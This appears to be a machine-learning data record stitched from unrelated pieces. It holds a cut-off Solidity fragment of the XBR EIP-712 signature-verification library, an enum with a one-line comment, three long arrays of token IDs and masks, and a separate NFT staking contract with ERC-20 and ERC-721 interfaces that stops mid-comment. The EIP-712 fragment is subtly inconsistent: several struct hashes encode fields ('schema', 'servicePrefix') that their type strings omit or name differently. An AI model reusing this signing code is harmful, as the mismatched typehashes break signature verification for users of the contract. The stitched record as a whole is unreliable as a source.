signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The XBR network member giving consent. address member; /// Block number when the consent was status set. uint256 updated; /// The ID of the market in which consent was given. bytes16 marketId; /// Address of delegate consent (status) applies to. address delegate; /// The actor type for which the consent was set for the delegate. uint8 delegateType; /// The ID of the XBR data catalog consent was given for. bytes16 apiCatalog; /// Consent granted or revoked. bool consent; /// The WAMP URI prefix to be used by the delegate in the data plane realm. string servicePrefix; } /// EIP712 type for use in opening channels. The initial opening of a channel /// is one on-chain transaction (as is the final close), but all actual /// in-channel transactions happen off-chain. struct EIP712ChannelOpen { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The type of channel, can be payment channel (for use by buyer delegates) or /// paying channel (for use by seller delegates). uint8 ctype; /// Block number when the channel was opened. uint256 openedAt; /// The ID of the market in which the channel was opened. bytes16 marketId; /// The ID of the channel created (a 16 bytes UUID which is globally unique to that /// channel, in particular the channel ID is unique even across different markets). bytes16 channelId; /// The actor that created this channel. address actor; /// The delegate authorized to use this channel for off-chain transactions. address delegate; /// The address of the market maker that will operate the channel and /// perform the off-chain transactions. address marketmaker; /// The final recipient of the payout from the channel when the channel is closed. address recipient; /// The amount of tokens initially put into this channel by the actor. The value is /// denominated in the payment token used in the market. uint256 amount; /// The timeout that will apply in non-cooperative close scenarios when closing this channel. uint32 timeout; } /// EIP712 type for use in closing channels.The final closing of a channel /// is one on-chain transaction (as is the final close), but all actual /// in-channel transactions happened before off-chain. struct EIP712ChannelClose { /// Verifying chain ID, which binds the signature to that chain /// for cross-chain replay-attack protection. uint256 chainId; /// Verifying contract address, which binds the signature to that address /// for cross-contract replay-attack protection. address verifyingContract; /// The ID of the market in which the channel to be closed was initially opened. bytes16 marketId; /// The ID of the channel to close. bytes16 channelId; /// The sequence number of the channel closed. uint32 channelSeq; /// The remaining closing balance at which the channel is closed. uint256 balance; /// Indication whether the data signed is considered final, which amounts /// to a promise that no further, newer signed data will be supplied later. bool isFinal; } /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_MEMBER_REGISTER_TYPEHASH = keccak256("EIP712MemberRegister(uint256 chainId,address verifyingContract,address member,uint256 registered,string eula,string profile)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_CATALOG_CREATE_TYPEHASH = keccak256("EIP712CatalogCreate(uint256 chainId,address verifyingContract,address member,uint256 created,bytes16 catalogId,string terms,string meta)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_API_PUBLISH_TYPEHASH = keccak256("EIP712ApiPublish(uint256 chainId,address verifyingContract,address member,uint256 published,bytes16 catalogId,bytes16 apiId,string terms,string meta)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_MARKET_CREATE_TYPEHASH = keccak256("EIP712MarketCreate(uint256 chainId,address verifyingContract,address member,uint256 created,bytes16 marketId,address coin,string terms,string meta,address maker,uint256 marketFee)"); // solhint-disable-next-line // bytes32 constant EIP712_MARKET_CREATE_TYPEHASH = keccak256("EIP712MarketCreate(uint256 chainId,address verifyingContract,address member,uint256 created,bytes16 marketId,address coin,string terms,string meta,address maker,uint256 providerSecurity,uint256 consumerSecurity,uint256 marketFee)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_MARKET_JOIN_TYPEHASH = keccak256("EIP712MarketJoin(uint256 chainId,address verifyingContract,address member,uint256 joined,bytes16 marketId,uint8 actorType,string meta)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_CONSENT_TYPEHASH = keccak256("EIP712Consent(uint256 chainId,address verifyingContract,address member,uint256 updated,bytes16 marketId,address delegate,uint8 delegateType,bytes16 apiCatalog,bool consent)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_CHANNEL_OPEN_TYPEHASH = keccak256("EIP712ChannelOpen(uint256 chainId,address verifyingContract,uint8 ctype,uint256 openedAt,bytes16 marketId,bytes16 channelId,address actor,address delegate,address recipient,uint256 amount,uint32 timeout)"); /// EIP712 type data. // solhint-disable-next-line bytes32 constant EIP712_CHANNEL_CLOSE_TYPEHASH = keccak256("EIP712ChannelClose(uint256 chainId,address verifyingContract,bytes16 marketId,bytes16 channelId,uint32 channelSeq,uint256 balance,bool isFinal)"); function splitSignature (bytes memory signature_rsv) private pure returns (uint8 v, bytes32 r, bytes32 s) { require(signature_rsv.length == 65, "INVALID_SIGNATURE_LENGTH"); // Split a signature given as a bytes string into components. assembly { r := mload(add(signature_rsv, 32)) s := mload(add(signature_rsv, 64)) v := and(mload(add(signature_rsv, 65)), 255) } if (v < 27) { v += 27; } return (v, r, s); } function hash(EIP712Domain memory domain_) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(domain_.name)), keccak256(bytes(domain_.version)) )); } function domainSeparator () private pure returns (bytes32) { // makes signatures from different domains incompatible. // see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#arbitrary-messages return hash(EIP712Domain({ name: "XBR", version: "1" })); } function hash (EIP712MemberRegister memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_MEMBER_REGISTER_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.registered, keccak256(bytes(obj.eula)), keccak256(bytes(obj.profile)) )); } function hash (EIP712CatalogCreate memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_CATALOG_CREATE_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.created, obj.catalogId, keccak256(bytes(obj.terms)), keccak256(bytes(obj.meta)) )); } function hash (EIP712ApiPublish memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_API_PUBLISH_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.published, obj.catalogId, obj.apiId, keccak256(bytes(obj.schema)), keccak256(bytes(obj.meta)) )); } function hash (EIP712MarketCreate memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_MARKET_CREATE_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.created, obj.marketId, obj.coin, keccak256(bytes(obj.terms)), keccak256(bytes(obj.meta)), obj.maker, // obj.providerSecurity, // obj.consumerSecurity, obj.marketFee )); } function hash (EIP712MarketJoin memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_MARKET_JOIN_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.joined, obj.marketId, obj.actorType, keccak256(bytes(obj.meta)) )); } function hash (EIP712Consent memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_CONSENT_TYPEHASH, obj.chainId, obj.verifyingContract, obj.member, obj.updated, obj.marketId, obj.delegate, obj.delegateType, obj.apiCatalog, obj.consent, keccak256(bytes(obj.servicePrefix)) )); } function hash (EIP712ChannelOpen memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_CHANNEL_OPEN_TYPEHASH, obj.chainId, obj.verifyingContract, obj.ctype, obj.openedAt, obj.marketId, obj.channelId, obj.actor, obj.delegate, obj.recipient, obj.amount, obj.timeout )); } function hash (EIP712ChannelClose memory obj) private pure returns (bytes32) { return keccak256(abi.encode( EIP712_CHANNEL_CLOSE_TYPEHASH, obj.chainId, obj.verifyingContract, obj.marketId, obj.channelId, obj.channelSeq, obj.balance, obj.isFinal )); } /// Verify signature on typed data for registering a member. function verify (address signer, EIP712MemberRegister memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for creating a catalog. function verify (address signer, EIP712CatalogCreate memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for publishing an API to a catalog. function verify (address signer, EIP712ApiPublish memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for creating a market. function verify (address signer, EIP712MarketCreate memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for joining a market. function verify (address signer, EIP712MarketJoin memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for setting consent. function verify (address signer, EIP712Consent memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for opening a channel. function verify (address signer, EIP712ChannelOpen memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } /// Verify signature on typed data for closing a channel. function verify (address signer, EIP712ChannelClose memory obj, bytes memory signature) public pure returns (bool) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(signature); bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", domainSeparator(), hash(obj) )); return ecrecover(digest, v, r, s) == signer; } }
All XBR state channel states defined.
enum ChannelState { NULL, OPEN, CLOSING, CLOSED, FAILED }
12,794,969
[ 1, 1595, 1139, 7192, 919, 1904, 5493, 2553, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2792, 5307, 1119, 288, 3206, 16, 11919, 16, 27775, 23708, 16, 27160, 16, 18497, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/ERC20Spec.sol"; import "../interfaces/ERC721Spec.sol"; import "../utils/AccessControl.sol"; /** * @title NFT Staking * * @notice Enables NFT staking for a given NFT smart contract defined on deployment * * @notice Doesn't introduce any rewards, just tracks the stake/unstake dates for each * token/owner, this data will be used later on to process the rewards */ contract NFTStaking is AccessControl { /** * @dev Main staking data structure keeping track of a stake, * used in `tokenStakes` array mapping */ struct StakeData { /** * @dev Who owned and staked the token, who will be the token * returned to once unstaked */ address owner; /** * @dev When the token was staked and transferred from the owner, * unix timestamp */ uint32 stakedOn; /** * @dev When token was unstaked and returned back to the owner, * unix timestamp * @dev Zero value means the token is still staked */ uint32 unstakedOn; } /** * @dev Auxiliary data structure to help iterate over NFT owner stakes, * used in `userStakes` array mapping */ struct StakeIndex { /** * @dev Staked token ID */ uint32 tokenId; /** * @dev Where to look for main staking data `StakeData` * in `tokenStakes` array mapping */ uint32 index; } /** * @dev NFT smart contract to stake/unstake tokens of */ address public immutable targetContract; /** * @notice For each token ID stores the history of its stakes, * last element of the history may be "open" (unstakedOn = 0), * meaning the token is still staked and is ot be returned to the `owner` * * @dev Maps token ID => StakeData[] */ mapping(uint32 => StakeData[]) public tokenStakes; /** * @notice For each owner address stores the links to its stakes, * the link is represented as StakeIndex data struct * * @dev Maps owner address => StakeIndex[] */ mapping(address => StakeIndex[]) public userStakes; /** * @dev Enables staking, stake(), stakeBatch() */ uint32 public constant FEATURE_STAKING = 0x0000_0001; /** * @dev Enables unstaking, unstake(), unstakeBatch() */ uint32 public constant FEATURE_UNSTAKING = 0x0000_0002; /** * @notice People do mistake and may send tokens by mistake; since * staking contract is not designed to accept the tokens directly, * it allows the rescue manager to "rescue" such lost tokens * * @notice Rescue manager is responsible for "rescuing" ERC20/ERC721 tokens * accidentally sent to the smart contract * * @dev Role ROLE_RESCUE_MANAGER allows withdrawing non-staked ERC20/ERC721 * tokens stored on the smart contract balance */ uint32 public constant ROLE_RESCUE_MANAGER = 0x0001_0000; /** * @dev Fired in stake(), stakeBatch() * * @param _by token owner, tx executor * @param _tokenId token ID staked and transferred into the smart contract * @param _when unix timestamp of when staking happened */ event Staked(address indexed _by, uint32 indexed _tokenId, uint32 _when); /** * @dev Fired in unstake(), unstakeBatch() * * @param _by token owner, tx executor * @param _tokenId token ID unstaked and transferred back to owner * @param _when unix timestamp of when unstaking happened */ event Unstaked(address indexed _by, uint32 indexed _tokenId, uint32 _when); /** * @dev Creates/deploys NFT staking contract bound to the already deployed * target NFT ERC721 smart contract to be staked * * @param _nft address of the deployed NFT smart contract instance */ constructor(address _nft) { // verify input is set require(_nft != address(0), "target contract is not set"); // verify input is valid smart contract of the expected interface require(ERC165(_nft).supportsInterface(type(ERC721).interfaceId), "unexpected target type"); // setup smart contract internal state targetContract = _nft; } /** * @notice How many times a particular token was staked * * @dev Used to iterate `tokenStakes(tokenId, i)`, `i < numStakes(tokenId)` * * @param tokenId token ID to query number of times staked for * @return number of times token was staked */ function numStakes(uint32 tokenId) public view returns(uint256) { // just read the array length and return it return tokenStakes[tokenId].length; } /** * @notice How many stakes a particular address has done * * @dev Used to iterate `userStakes(owner, i)`, `i < numStakes(owner)` * * @param owner an address to query number of times it staked * @return number of times a particular address has staked */ function numStakes(address owner) public view returns(uint256) { // just read the array length and return it return userStakes[owner].length; } /** * @notice Determines if the token is currently staked or not * * @param tokenId token ID to check state for * @return true if token is staked, false otherwise */ function isStaked(uint32 tokenId) public view returns(bool) { // get an idea of current stakes for the token uint256 n = tokenStakes[tokenId].length; // evaluate based on the last stake element in the array return n > 0 && tokenStakes[tokenId][n - 1].unstakedOn == 0; } /** * @notice Stakes the NFT; the token is transferred from its owner to the staking contract; * token must be owned by the tx executor and be transferable by staking contract * * @param tokenId token ID to stake */ function stake(uint32 tokenId) public { // verify staking is enabled require(isFeatureEnabled(FEATURE_STAKING), "staking is disabled"); // get an idea of current stakes for the token uint256 n = tokenStakes[tokenId].length; // verify the token is not currently staked require(n == 0 || tokenStakes[tokenId][n - 1].unstakedOn != 0, "already staked"); // verify token belongs to the address which executes staking require(ERC721(targetContract).ownerOf(tokenId) == msg.sender, "access denied"); // transfer the token from owner into the staking contract ERC721(targetContract).transferFrom(msg.sender, address(this), tokenId); // current timestamp to be set as `stakedOn` uint32 stakedOn = now32(); // save token stake data tokenStakes[tokenId].push(StakeData({ owner: msg.sender, stakedOn: stakedOn, unstakedOn: 0 })); // save token stake index userStakes[msg.sender].push(StakeIndex({ tokenId: tokenId, index: uint32(n) })); // emit an event emit Staked(msg.sender, tokenId, stakedOn); } /** * @notice Stakes several NFTs; tokens are transferred from their owner to the staking contract; * tokens must be owned by the tx executor and be transferable by staking contract * * @param tokenIds token IDs to stake */ function stakeBatch(uint32[] memory tokenIds) public { // iterate the collection passed for(uint256 i = 0; i < tokenIds.length; i++) { // and stake each token one by one stake(tokenIds[i]); } } /** * @notice Unstakes the NFT; the token is transferred from staking contract back * its previous owner * * @param tokenId token ID to unstake */ function unstake(uint32 tokenId) public { // verify staking is enabled require(isFeatureEnabled(FEATURE_UNSTAKING), "unstaking is disabled"); // get an idea of current stakes for the token uint256 n = tokenStakes[tokenId].length; // verify the token is not currently staked require(n != 0, "not staked"); require(tokenStakes[tokenId][n - 1].unstakedOn == 0, "already unstaked"); // verify token belongs to the address which executes unstaking require(tokenStakes[tokenId][n - 1].owner == msg.sender, "access denied"); // current timestamp to be set as `unstakedOn` uint32 unstakedOn = now32(); // update token stake data tokenStakes[tokenId][n - 1].unstakedOn = unstakedOn; // transfer the token back to owner ERC721(targetContract).transferFrom(address(this), msg.sender, tokenId); // emit an event emit Unstaked(msg.sender, tokenId, unstakedOn); } /** * @notice Unstakes several NFTs; tokens are transferred from staking contract back * their previous owner * * @param tokenIds token IDs to unstake */ function unstakeBatch(uint32[] memory tokenIds) public { // iterate the collection passed for(uint256 i = 0; i < tokenIds.length; i++) { // and unstake each token one by one unstake(tokenIds[i]); } } /** * @dev Restricted access function to rescue accidentally sent ERC20 tokens, * the tokens are rescued via `transfer` function call on the * contract address specified and with the parameters specified: * `_contract.transfer(_to, _value)` * * @dev Requires executor to have `ROLE_RESCUE_MANAGER` permission * * @param _contract smart contract address to execute `transfer` function on * @param _to to address in `transfer(_to, _value)` * @param _value value to transfer in `transfer(_to, _value)` */ function rescueErc20(address _contract, address _to, uint256 _value) public { // verify the access permission require(isSenderInRole(ROLE_RESCUE_MANAGER), "access denied"); // perform the transfer as requested, without any checks ERC20(_contract).transfer(_to, _value); } /** * @dev Restricted access function to rescue accidentally sent ERC721 tokens, * the tokens are rescued via `transferFrom` function call on the * contract address specified and with the parameters specified: * `_contract.transferFrom(this, _to, _tokenId)` * * @dev Requires executor to have `ROLE_RESCUE_MANAGER` permission * * @param _contract smart contract address to execute `transferFrom` function on * @param _to to address in `transferFrom(this, _to, _tokenId)` * @param _tokenId token ID to transfer in `transferFrom(this, _to, _tokenId)` */ function rescueErc721(address _contract, address _to, uint256 _tokenId) public { // verify the access permission require(isSenderInRole(ROLE_RESCUE_MANAGER), "access denied"); // verify the NFT is not staked require(_contract != targetContract || !isStaked(uint32(_tokenId)), "token is staked"); // perform the transfer as requested, without any checks ERC721(_contract).transferFrom(address(this), _to, _tokenId); } /** * @dev Testing time-dependent functionality may be difficult; * we override time in the helper test smart contract (mock) * * @return `block.timestamp` in mainnet, custom values in testnets (if overridden) */ function now32() public view virtual returns (uint32) { // return current block timestamp return uint32(block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title EIP-20: ERC-20 Token Standard * * @notice The ERC-20 (Ethereum Request for Comments 20), proposed by Fabian Vogelsteller in November 2015, * is a Token Standard that implements an API for tokens within Smart Contracts. * * @notice It provides functionalities like to transfer tokens from one account to another, * to get the current token balance of an account and also the total supply of the token available on the network. * Besides these it also has some other functionalities like to approve that an amount of * token from an account can be spent by a third party account. * * @notice If a Smart Contract implements the following methods and events it can be called an ERC-20 Token * Contract and, once deployed, it will be responsible to keep track of the created tokens on Ethereum. * * @notice See https://ethereum.org/en/developers/docs/standards/tokens/erc-20/ * @notice See https://eips.ethereum.org/EIPS/eip-20 */ interface ERC20 { /** * @dev Fired in transfer(), transferFrom() to indicate that token transfer happened * * @param from an address tokens were consumed from * @param to an address tokens were sent to * @param value number of tokens transferred */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Fired in approve() to indicate an approval event happened * * @param owner an address which granted a permission to transfer * tokens on its behalf * @param spender an address which received a permission to transfer * tokens on behalf of the owner `_owner` * @param value amount of tokens granted to transfer on behalf */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @return name of the token (ex.: USD Coin) */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function name() external view returns (string memory); /** * @return symbol of the token (ex.: USDC) */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function symbol() external view returns (string memory); /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * @dev Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * @dev NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. * * @return token decimals */ // OPTIONAL - This method can be used to improve usability, // but interfaces and other contracts MUST NOT expect these values to be present. // function decimals() external view returns (uint8); /** * @return the amount of tokens in existence */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of a particular address * * @param _owner the address to query the the balance for * @return balance an amount of tokens owned by the address specified */ function balanceOf(address _owner) external view returns (uint256 balance); /** * @notice Transfers some tokens to an external address or a smart contract * * @dev Called by token owner (an address which has a * positive token balance tracked by this smart contract) * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * self address or * * smart contract which doesn't support ERC20 * * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transfer(address _to, uint256 _value) external returns (bool success); /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * smart contract which doesn't support ERC20 * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /** * @notice Approves address called `_spender` to transfer some amount * of tokens on behalf of the owner (transaction sender) * * @dev Transaction sender must not necessarily own any tokens to grant the permission * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @return success true on success, throws otherwise */ function approve(address _spender, uint256 _value) external returns (bool success); /** * @notice Returns the amount which _spender is still allowed to withdraw from _owner. * * @dev A function to check an amount of tokens owner approved * to transfer on its behalf by some other address called "spender" * * @param _owner an address which approves transferring some tokens on its behalf * @param _spender an address approved to transfer some tokens on behalf * @return remaining an amount of tokens approved address `_spender` can transfer on behalf * of token owner `_owner` */ function allowance(address _owner, address _spender) external view returns (uint256 remaining); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./ERC165Spec.sol"; /** * @title ERC-721 Non-Fungible Token Standard * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev Solidity issue #3412: The ERC721 interfaces include explicit mutability guarantees for each function. * Mutability guarantees are, in order weak to strong: payable, implicit nonpayable, view, and pure. * Implementation MUST meet the mutability guarantee in this interface and MAY meet a stronger guarantee. * For example, a payable function in this interface may be implemented as nonpayable * (no state mutability specified) in implementing contract. * It is expected a later Solidity release will allow stricter contract to inherit from this interface, * but current workaround is that we edit this interface to add stricter mutability before inheriting: * we have removed all "payable" modifiers. * * @dev The ERC-165 identifier for this interface is 0x80ac58cd. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721 is ERC165 { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param _data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external /*payable*/; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external /*payable*/; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external /*payable*/; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external /*payable*/; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a 